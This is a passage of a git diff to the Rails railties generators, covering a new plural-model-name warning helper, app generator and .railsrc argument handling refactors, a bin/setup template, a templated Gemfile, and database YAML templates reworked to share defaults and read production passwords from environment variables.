-          destination = File.join(migration_dir, "#{@migration_number}_#{@migration_file_name}.rb")
+        create_migration numbered_destination, nil, config do
+          ERB.new(::File.binread(source), nil, '-', '@output_buffer').result(context)
         end
-
-        template(source, destination, config)
       end
     end
   end
diff --git a/railties/lib/rails/generators/model_helpers.rb b/railties/lib/rails/generators/model_helpers.rb
new file mode 100644
index 0000000000..42c646543e
--- /dev/null
+++ b/railties/lib/rails/generators/model_helpers.rb
@@ -0,0 +1,28 @@
+require 'rails/generators/active_model'
+
+module Rails
+  module Generators
+    module ModelHelpers # :nodoc:
+      PLURAL_MODEL_NAME_WARN_MESSAGE = "[WARNING] The model name '%s' was recognized as a plural, using the singular '%s' instead. " \
+                                       "Override with --force-plural or setup custom inflection rules for this noun before running the generator."
+      mattr_accessor :skip_warn
+
+      def self.included(base) #:nodoc:
+        base.class_option :force_plural, type: :boolean, default: false, desc: 'Forces the use of the given model name'
+      end
+
+      def initialize(args, *_options)
+        super
+        if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
+          singular = name.singularize
+          unless ModelHelpers.skip_warn
+            say PLURAL_MODEL_NAME_WARN_MESSAGE % [name, singular]
+            ModelHelpers.skip_warn = true
+          end
+          name.replace singular
+          assign_names!(name)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
index e712c747b0..36456e64f5 100644
--- a/railties/lib/rails/generators/named_base.rb
+++ b/railties/lib/rails/generators/named_base.rb
@@ -30,7 +30,12 @@ module Rails
 
       protected
         attr_reader :file_name
-        alias :singular_name :file_name
+
+        # FIXME: We are avoiding to use alias because a bug on thor that make
+        # this method public and add it to the task list.
+        def singular_name
+          file_name
+        end
 
         # Wrap block with namespace of current application
         # if namespace exists and is not skipped
@@ -90,11 +95,11 @@ module Rails
         end
 
         def namespaced_path
-          @namespaced_path ||= namespace.name.split("::").map {|m| m.underscore }[0]
+          @namespaced_path ||= namespace.name.split("::").first.underscore
         end
 
         def class_name
-          (class_path + [file_name]).map!{ |m| m.camelize }.join('::')
+          (class_path + [file_name]).map!(&:camelize).join('::')
         end
 
         def human_name
@@ -140,7 +145,7 @@ module Rails
           @route_url ||= class_path.collect {|dname| "/" + dname }.join + "/" + plural_file_name
         end
 
-        # Tries to retrieve the application name or simple return application.
+        # Tries to retrieve the application name or simply return application.
         def application_name
           if defined?(Rails) && Rails.application
             Rails.application.class.name.split('::').first.underscore
@@ -151,7 +156,7 @@ module Rails
 
         def assign_names!(name) #:nodoc:
           @class_path = name.include?('/') ? name.split('/') : name.split('::')
-          @class_path.map! { |m| m.underscore }
+          @class_path.map!(&:underscore)
           @file_name = @class_path.pop
         end
 
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index 041bfcb733..977f5a1c03 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -38,7 +38,7 @@ module Rails
     end
 
     def readme
-      copy_file "README.rdoc", "README.rdoc"
+      copy_file "README.md", "README.md"
     end
 
     def gemfile
@@ -50,7 +50,7 @@ module Rails
     end
 
     def gitignore
-      copy_file "gitignore", ".gitignore"
+      template "gitignore", ".gitignore"
     end
 
     def app
@@ -78,6 +78,7 @@ module Rails
         template "routes.rb"
         template "application.rb"
         template "environment.rb"
+        template "secrets.yml"
 
         directory "environments"
         directory "initializers"
@@ -85,6 +86,21 @@ module Rails
       end
     end
 
+    def config_when_updating
+      cookie_serializer_config_exist = File.exist?('config/initializers/cookies_serializer.rb')
+      callback_terminator_config_exist = File.exist?('config/initializers/callback_terminator.rb')
+
+      config
+
+      unless callback_terminator_config_exist
+        remove_file 'config/initializers/callback_terminator.rb'
+      end
+
+      unless cookie_serializer_config_exist
+        gsub_file 'config/initializers/cookies_serializer.rb', /json/, 'marshal'
+      end
+    end
+
     def database_yml
       template "config/databases/#{options[:database]}.yml", "config/database.yml"
     end
@@ -109,6 +125,7 @@ module Rails
 
     def test
       empty_directory_with_keep_file 'test/fixtures'
+      empty_directory_with_keep_file 'test/fixtures/files'
       empty_directory_with_keep_file 'test/controllers'
       empty_directory_with_keep_file 'test/mailers'
       empty_directory_with_keep_file 'test/models'
@@ -129,7 +146,9 @@ module Rails
     end
 
     def vendor_javascripts
-      empty_directory_with_keep_file 'vendor/assets/javascripts'
+      unless options[:skip_javascript]
+        empty_directory_with_keep_file 'vendor/assets/javascripts'
+      end
     end
 
     def vendor_stylesheets
@@ -151,23 +170,18 @@ module Rails
                              desc: "Show Rails version number and quit"
 
       def initialize(*args)
-        if args[0].blank?
-          if args[1].blank?
-            # rails new
-            raise Error, "Application name should be provided in arguments. For details run: rails --help"
-          else
-            # rails new --skip-bundle my_new_application
-            raise Error, "Options should be given after the application name. For details run: rails --help"
-          end
-        end
-
         super
 
+        unless app_path
+          raise Error, "Application name should be provided in arguments. For details run: rails --help"
+        end
+
         if !options[:skip_active_record] && !DATABASES.include?(options[:database])
           raise Error, "Invalid value for --database option. Supported for preconfiguration are: #{DATABASES.join(", ")}."
         end
       end
 
+      public_task :set_default_accessors!
       public_task :create_root
 
       def create_root_files
@@ -190,6 +204,11 @@ module Rails
         build(:config)
       end
 
+      def update_config_files
+        build(:config_when_updating)
+      end
+      remove_task :update_config_files
+
       def create_boot_file
         template "config/boot.rb"
       end
@@ -216,7 +235,7 @@ module Rails
       end
 
       def create_test_files
-        build(:test) unless options[:skip_test_unit]
+        build(:test) unless options[:skip_test]
       end
 
       def create_tmp_files
@@ -227,11 +246,28 @@ module Rails
         build(:vendor)
       end
 
+      def delete_js_folder_skipping_javascript
+        if options[:skip_javascript]
+          remove_dir 'app/assets/javascripts'
+        end
+      end
+
+      def delete_assets_initializer_skipping_sprockets
+        if options[:skip_sprockets]
+          remove_file 'config/initializers/assets.rb'
+        end
+      end
+
       def finish_template
         build(:leftovers)
       end
 
       public_task :apply_rails_template, :run_bundle
+      public_task :generate_spring_binstubs
+
+      def run_after_bundle_callbacks
+        @after_bundle_callbacks.each(&:call)
+      end
 
     protected
 
@@ -245,7 +281,7 @@ module Rails
       end
 
       def app_name
-        @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr(".", "_")
+        @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr('\\', '').tr(". ", "_")
       end
 
       def defined_app_name
@@ -308,58 +344,67 @@ module Rails
     #
     # This class should be called before the AppGenerator is required and started
     # since it configures and mutates ARGV correctly.
-    class AppPreparer # :nodoc
-      attr_reader :argv
-
+    class ARGVScrubber # :nodoc:
       def initialize(argv = ARGV)
         @argv = argv
       end
 
       def prepare!
-        handle_version_request!(argv.first)
-        unless handle_invalid_command!(argv.first)
-          argv.shift
-          handle_rails_rc!
+        handle_version_request!(@argv.first)
+        handle_invalid_command!(@argv.first, @argv) do
+          handle_rails_rc!(@argv.drop(1))
         end
       end
 
+      def self.default_rc_file
+        File.expand_path('~/.railsrc')
+      end
+
       private
 
         def handle_version_request!(argument)
-          if ['--version', '-v'].include?(argv.first)
+          if ['--version', '-v'].include?(argument)
             require 'rails/version'
             puts "Rails #{Rails::VERSION::STRING}"
             exit(0)
           end
         end
 
-        def handle_invalid_command!(argument)
-          if argument != "new"
-            argv[0] = "--help"
+        def handle_invalid_command!(argument, argv)
+          if argument == "new"
+            yield
+          else
+            ['--help'] + argv.drop(1)
           end
         end
 
-        def handle_rails_rc!
-          unless argv.delete("--no-rc")
-            insert_railsrc(railsrc)
+        def handle_rails_rc!(argv)
+          if argv.find { |arg| arg == '--no-rc' }
+            argv.reject { |arg| arg == '--no-rc' }
+          else
+            railsrc(argv) { |rc_argv, rc| insert_railsrc_into_argv!(rc_argv, rc) }
           end
         end
 
-        def railsrc
+        def railsrc(argv)
           if (customrc = argv.index{ |x| x.include?("--rc=") })
-            File.expand_path(argv.delete_at(customrc).gsub(/--rc=/, ""))
+            fname = File.expand_path(argv[customrc].gsub(/--rc=/, ""))
+            yield(argv.take(customrc) + argv.drop(customrc + 1), fname)
           else
-            File.join(File.expand_path("~"), '.railsrc')
+            yield argv, self.class.default_rc_file
           end
         end
 
-        def insert_railsrc(railsrc)
-          if File.exist?(railsrc)
-            extra_args_string = File.read(railsrc)
-            extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten
-            puts "Using #{extra_args.join(" ")} from #{railsrc}"
-            argv.insert(1, *extra_args)
-          end
+        def read_rc_file(railsrc)
+          extra_args = File.readlines(railsrc).flat_map(&:split)
+          puts "Using #{extra_args.join(" ")} from #{railsrc}"
+          extra_args
+        end
+
+        def insert_railsrc_into_argv!(argv, railsrc)
+          return argv unless File.exist?(railsrc)
+          extra_args = read_rc_file railsrc
+          argv.take(1) + extra_args + argv.drop(1)
         end
     end
   end
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
index adc83353b4..143673f711 100644
--- a/railties/lib/rails/generators/rails/app/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile
@@ -1,30 +1,49 @@
 source 'https://rubygems.org'
 
-<%= rails_gemfile_entry -%>
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
 
-<%= database_gemfile_entry -%>
-
-<%= assets_gemfile_entry %>
-<%= javascript_gemfile_entry -%>
-
-# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
-gem 'jbuilder', '~> 1.2'
-
-group :doc do
-  # bundle exec rake doc:rails generates the API under doc/api.
-  gem 'sdoc', require: false
-end
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+, <%= gem.options.map { |k,v|
+  "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
 
 # Use ActiveModel has_secure_password
-# gem 'bcrypt-ruby', '~> 3.1.0'
+# gem 'bcrypt', '~> 3.1.7'
 
-# Use unicorn as the app server
+# Use Unicorn as the app server
 # gem 'unicorn'
 
 # Use Capistrano for deployment
-# gem 'capistrano', group: :development
+# gem 'capistrano-rails', group: :development
+
+group :development, :test do
+<% if RUBY_ENGINE == 'ruby' -%>
+  # Call 'byebug' anywhere in the code to stop execution and get a debugger console
+  gem 'byebug'
+
+  # Access an IRB console on exception pages or by using <%%= console %> in views
+  <%- if options.dev? || options.edge? -%>
+  gem 'web-console', github: "rails/web-console"
+  <%- else -%>
+  gem 'web-console', '~> 2.0'
+  <%- end -%>
+<%- if spring_install? %>
+  # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring
+  gem 'spring'
+<% end -%>
+
+  # Adds `Method#source` and `Method#comment` to get the source code of a
+  # method from the console
+  gem 'method_source'
+<% end -%>
+end
 
-<% unless defined?(JRUBY_VERSION) -%>
-# Use debugger
-# gem 'debugger', group: [:development, :test]
+<% if RUBY_PLATFORM.match(/bccwin|cygwin|emx|mingw|mswin|wince|java/) -%>
+# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
+gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]
 <% end -%>
diff --git a/guides/code/getting_started/README.rdoc b/railties/lib/rails/generators/rails/app/templates/README.md
index dd4e97e22e..55e144da18 100644
--- a/guides/code/getting_started/README.rdoc
+++ b/railties/lib/rails/generators/rails/app/templates/README.md
@@ -1,4 +1,4 @@
-== README
+## README
 
 This README would normally document whatever steps are necessary to get the
 application up and running.
@@ -22,7 +22,3 @@ Things you may want to cover:
 * Deployment instructions
 
 * ...
-
-
-Please feel free to use a different markup language if you do not plan to run
-<tt>rake doc:app</tt>.
diff --git a/railties/lib/rails/generators/rails/app/templates/README.rdoc b/railties/lib/rails/generators/rails/app/templates/README.rdoc
deleted file mode 100644
index dd4e97e22e..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/README.rdoc
+++ /dev/null
@@ -1,28 +0,0 @@
-== README
-
-This README would normally document whatever steps are necessary to get the
-application up and running.
-
-Things you may want to cover:
-
-* Ruby version
-
-* System dependencies
-
-* Configuration
-
-* Database creation
-
-* Database initialization
-
-* How to run the test suite
-
-* Services (job queues, cache servers, search engines, etc.)
-
-* Deployment instructions
-
-* ...
-
-
-Please feel free to use a different markup language if you do not plan to run
-<tt>rake doc:app</tt>.
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
index 8b91313e51..c1a77944e8 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
@@ -2,7 +2,7 @@
 // listed below.
 //
 // Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
-// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
+// or any plugin's vendor/assets/javascripts directory can be referenced here using a relative path.
 //
 // It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
 // compiled file.
@@ -13,6 +13,8 @@
 <% unless options[:skip_javascript] -%>
 //= require <%= options[:javascript] %>
 //= require <%= options[:javascript] %>_ujs
+<% if gemfile_entries.any? { |m| m.name == "turbolinks" } -%>
 //= require turbolinks
 <% end -%>
+<% end -%>
 //= require_tree .
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
index a443db3401..0cdd2788d0 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
@@ -3,12 +3,11 @@
  * listed below.
  *
  * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
- * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
+ * or any plugin's vendor/assets/stylesheets directory can be referenced here using a relative path.
  *
  * You're free to add application-wide styles to this file and they'll appear at the bottom of the
- * compiled file so the styles you add here take precedence over styles defined in any styles
- * defined in the other CSS/SCSS files in this directory. It is generally better to create a new
- * file per style scope.
+ * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS
+ * files in this directory. It is generally better to create a new file per style scope.
  *
  *= require_tree .
  *= require_self
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
index c3d1578818..75ea52828e 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -3,11 +3,15 @@
 <head>
   <title><%= camelized %></title>
   <%- if options[:skip_javascript] -%>
-  <%%= stylesheet_link_tag    "application", media: "all" %>
-  <%%= javascript_include_tag "application" %>
+  <%%= stylesheet_link_tag    'application', media: 'all' %>
   <%- else -%>
-  <%%= stylesheet_link_tag    "application", media: "all", "data-turbolinks-track" => true %>
-  <%%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+    <%- if gemfile_entries.any? { |m| m.name == 'turbolinks' } -%>
+  <%%= stylesheet_link_tag    'application', media: 'all', 'data-turbolinks-track' => true %>
+  <%%= javascript_include_tag 'application', 'data-turbolinks-track' => true %>
+    <%- else -%>
+  <%%= stylesheet_link_tag    'application', media: 'all' %>
+  <%%= javascript_include_tag 'application' %>
+    <%- end -%>
   <%- end -%>
   <%%= csrf_meta_tags %>
 </head>
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rails b/railties/lib/rails/generators/rails/app/templates/bin/rails
index 6a128b95e5..80ec8080ab 100644
--- a/railties/lib/rails/generators/rails/app/templates/bin/rails
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rails
@@ -1,3 +1,3 @@
-APP_PATH = File.expand_path('../../config/application',  __FILE__)
+APP_PATH = File.expand_path('../../config/application', __FILE__)
 require_relative '../config/boot'
 require 'rails/commands'
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/setup b/railties/lib/rails/generators/rails/app/templates/bin/setup
new file mode 100644
index 0000000000..eee810be30
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/setup
@@ -0,0 +1,30 @@
+require 'pathname'
+require 'fileutils'
+include FileUtils
+
+# path to your application root.
+APP_ROOT = Pathname.new File.expand_path('../../', __FILE__)
+
+chdir APP_ROOT do
+  # This script is a starting point to setup your application.
+  # Add necessary setup steps to this file.
+
+  puts '== Installing dependencies =='
+  system 'gem install bundler --conservative'
+  system('bundle check') or system('bundle install')
+
+  # puts "\n== Copying sample files =="
+  # unless File.exist?('config/database.yml')
+  #   cp 'config/database.yml.sample', 'config/database.yml'
+  # end
+
+  puts "\n== Preparing database =="
+  system 'ruby bin/rake db:setup'
+
+  puts "\n== Removing old logs and tempfiles =="
+  rm_f Dir.glob('log/*')
+  rm_rf 'tmp/cache'
+
+  puts "\n== Restarting application server =="
+  touch 'tmp/restart.txt'
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config.ru b/railties/lib/rails/generators/rails/app/templates/config.ru
index 5bc2a619e8..bd83b25412 100644
--- a/railties/lib/rails/generators/rails/app/templates/config.ru
+++ b/railties/lib/rails/generators/rails/app/templates/config.ru
@@ -1,4 +1,4 @@
 # This file is used by Rack-based servers to start the application.
 
-require ::File.expand_path('../config/environment',  __FILE__)
+require ::File.expand_path('../config/environment', __FILE__)
 run Rails.application
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index ac41a0cadb..a2661bfb51 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -3,19 +3,21 @@ require File.expand_path('../boot', __FILE__)
 <% if include_all_railties? -%>
 require 'rails/all'
 <% else -%>
+require "rails"
 # Pick the frameworks you want:
 require "active_model/railtie"
+require "active_job/railtie"
 <%= comment_if :skip_active_record %>require "active_record/railtie"
 require "action_controller/railtie"
-require "action_mailer/railtie"
-<%= comment_if :skip_action_view %>require "action_view/railtie"
+<%= comment_if :skip_action_mailer %>require "action_mailer/railtie"
+require "action_view/railtie"
 <%= comment_if :skip_sprockets %>require "sprockets/railtie"
-<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
+<%= comment_if :skip_test %>require "rails/test_unit/railtie"
 <% end -%>
 
 # Require the gems listed in Gemfile, including any gems
 # you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env)
+Bundler.require(*Rails.groups)
 
 module <%= app_const_base %>
   class Application < Rails::Application
@@ -30,10 +32,5 @@ module <%= app_const_base %>
     # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
     # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
     # config.i18n.default_locale = :de
-<% if options.skip_sprockets? -%>
-
-    # Disable the asset pipeline.
-    config.assets.enabled = false
-<% end -%>
   end
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
index 3596736667..6b750f00b1 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/boot.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
@@ -1,4 +1,3 @@
-# Set up gems listed in the Gemfile.
 ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
 
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' # Set up gems listed in the Gemfile.
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
index 4807986333..34fc0e3465 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
@@ -6,26 +6,44 @@
 # Configure Using Gemfile
 # gem 'ruby-frontbase'
 #
-development:
+default: &default
   adapter: frontbase
   host: localhost
-  database: <%= app_name %>_development
   username: <%= app_name %>
   password: ''
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: frontbase
-  host: localhost
+  <<: *default
   database: <%= app_name %>_test
-  username: <%= app_name %>
-  password: ''
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="frontbase://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: frontbase
-  host: localhost
+  <<: *default
   database: <%= app_name %>_production
   username: <%= app_name %>
-  password: ''
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
index 3d689a110a..187ff01bac 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
@@ -1,7 +1,7 @@
 # IBM Dataservers
 #
 # Home Page
-#   http://rubyforge.org/projects/rubyibm/
+#   https://github.com/dparnell/ibm_db
 #
 # To install the ibm_db gem:
 #
@@ -31,14 +31,11 @@
 # Configure Using Gemfile
 # gem 'ibm_db'
 #
-# For more details on the installation and the connection parameters below,
-# please refer to the latest documents at http://rubyforge.org/docman/?group_id=2361
-
-development:
+#
+default: &default
   adapter: ibm_db
   username: db2inst1
   password:
-  database: <%= app_name[0,4] %>_dev
   #schema: db2inst1
   #host: localhost
   #port: 50000
@@ -51,36 +48,38 @@ development:
   #authentication: SERVER
   #parameterized: false
 
+development:
+  <<: *default
+  database: <%= app_name[0,4] %>_dev
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
 test:
-  adapter: ibm_db
-  username: db2inst1
-  password:
+  <<: *default
   database: <%= app_name[0,4] %>_tst
-  #schema: db2inst1
-  #host: localhost
-  #port: 50000
-  #account: my_account
-  #app_user: my_app_user
-  #application: my_application
-  #workstation: my_workstation
-  #security: SSL
-  #timeout: 10
-  #authentication: SERVER
-  #parameterized: false
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="ibm-db://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: ibm_db
-  username: db2inst1
-  password:
-  database: <%= app_name[0,8] %>
-  #schema: db2inst1
-  #host: localhost
-  #port: 50000
-  #account: my_account
-  #app_user: my_app_user
-  #application: my_application
-  #workstation: my_workstation
-  #security: SSL
-  #timeout: 10
-  #authentication: SERVER
-  #parameterized: false
\ No newline at end of file
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
index 1d2bf08b91..db0a429753 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
@@ -5,58 +5,64 @@
 # Configure using Gemfile:
 #   gem 'activerecord-jdbcmssql-adapter'
 #
-#development:
-#  adapter: mssql
-#  username: <%= app_name %>
-#  password:
-#  host: localhost
-#  database: <%= app_name %>_development
+# development:
+#   adapter: mssql
+#   username: <%= app_name %>
+#   password:
+#   host: localhost
+#   database: <%= app_name %>_development
 #
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 #
-#test:
-#  adapter: mssql
-#  username: <%= app_name %>
-#  password:
-#  host: localhost
-#  database: <%= app_name %>_test
+# test:
+#   adapter: mssql
+#   username: <%= app_name %>
+#   password:
+#   host: localhost
+#   database: <%= app_name %>_test
 #
-#production:
-#  adapter: mssql
-#  username: <%= app_name %>
-#  password:
-#  host: localhost
-#  database: <%= app_name %>_production
+# production:
+#   adapter: mssql
+#   username: <%= app_name %>
+#   password:
+#   host: localhost
+#   database: <%= app_name %>_production
 
 # If you are using oracle, db2, sybase, informix or prefer to use the plain
 # JDBC adapter, configure your database setting as the example below (requires
 # you to download and manually install the database vendor's JDBC driver .jar
-# file). See your driver documentation for the apropriate driver class and
+# file). See your driver documentation for the appropriate driver class and
 # connection string:
 
-development:
+default: &default
   adapter: jdbc
   username: <%= app_name %>
   password:
   driver:
+
+development:
+  <<: *default
   url: jdbc:db://localhost/<%= app_name %>_development
 
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
-
 test:
-  adapter: jdbc
-  username: <%= app_name %>
-  password:
-  driver:
+  <<: *default
   url: jdbc:db://localhost/<%= app_name %>_test
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
 production:
-  adapter: jdbc
-  username: <%= app_name %>
-  password:
-  driver:
   url: jdbc:db://localhost/<%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
index 5a594ac1f3..acb93939e1 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
@@ -8,26 +8,45 @@
 #
 # And be sure to use new-style password hashing:
 #   http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-development:
+#
+default: &default
   adapter: mysql
-  database: <%= app_name %>_development
   username: root
   password:
   host: localhost
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: mysql
+  <<: *default
   database: <%= app_name %>_test
-  username: root
-  password:
-  host: localhost
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="mysql://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: mysql
+  <<: *default
   database: <%= app_name %>_production
-  username: root
-  password:
-  host: localhost
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
index e1a00d076f..9e99264d33 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
@@ -2,13 +2,23 @@
 #
 # Configure Using Gemfile
 # gem 'activerecord-jdbcpostgresql-adapter'
-
-development:
+#
+default: &default
   adapter: postgresql
   encoding: unicode
+
+development:
+  <<: *default
   database: <%= app_name %>_development
-  username: <%= app_name %>
-  password:
+
+  # The specified database role being used to connect to postgres.
+  # To create additional roles in postgres see `$ createuser --help`.
+  # When left blank, postgres will use the default role. This is
+  # the same name as the operating system user that initialized the database.
+  #username: <%= app_name %>
+
+  # The password associated with the postgres role (username).
+  #password:
 
   # Connect on a TCP socket. Omitted by default since the client uses a
   # domain socket that doesn't need configuration. Windows does not have
@@ -29,15 +39,30 @@ development:
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: postgresql
-  encoding: unicode
+  <<: *default
   database: <%= app_name %>_test
-  username: <%= app_name %>
-  password:
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
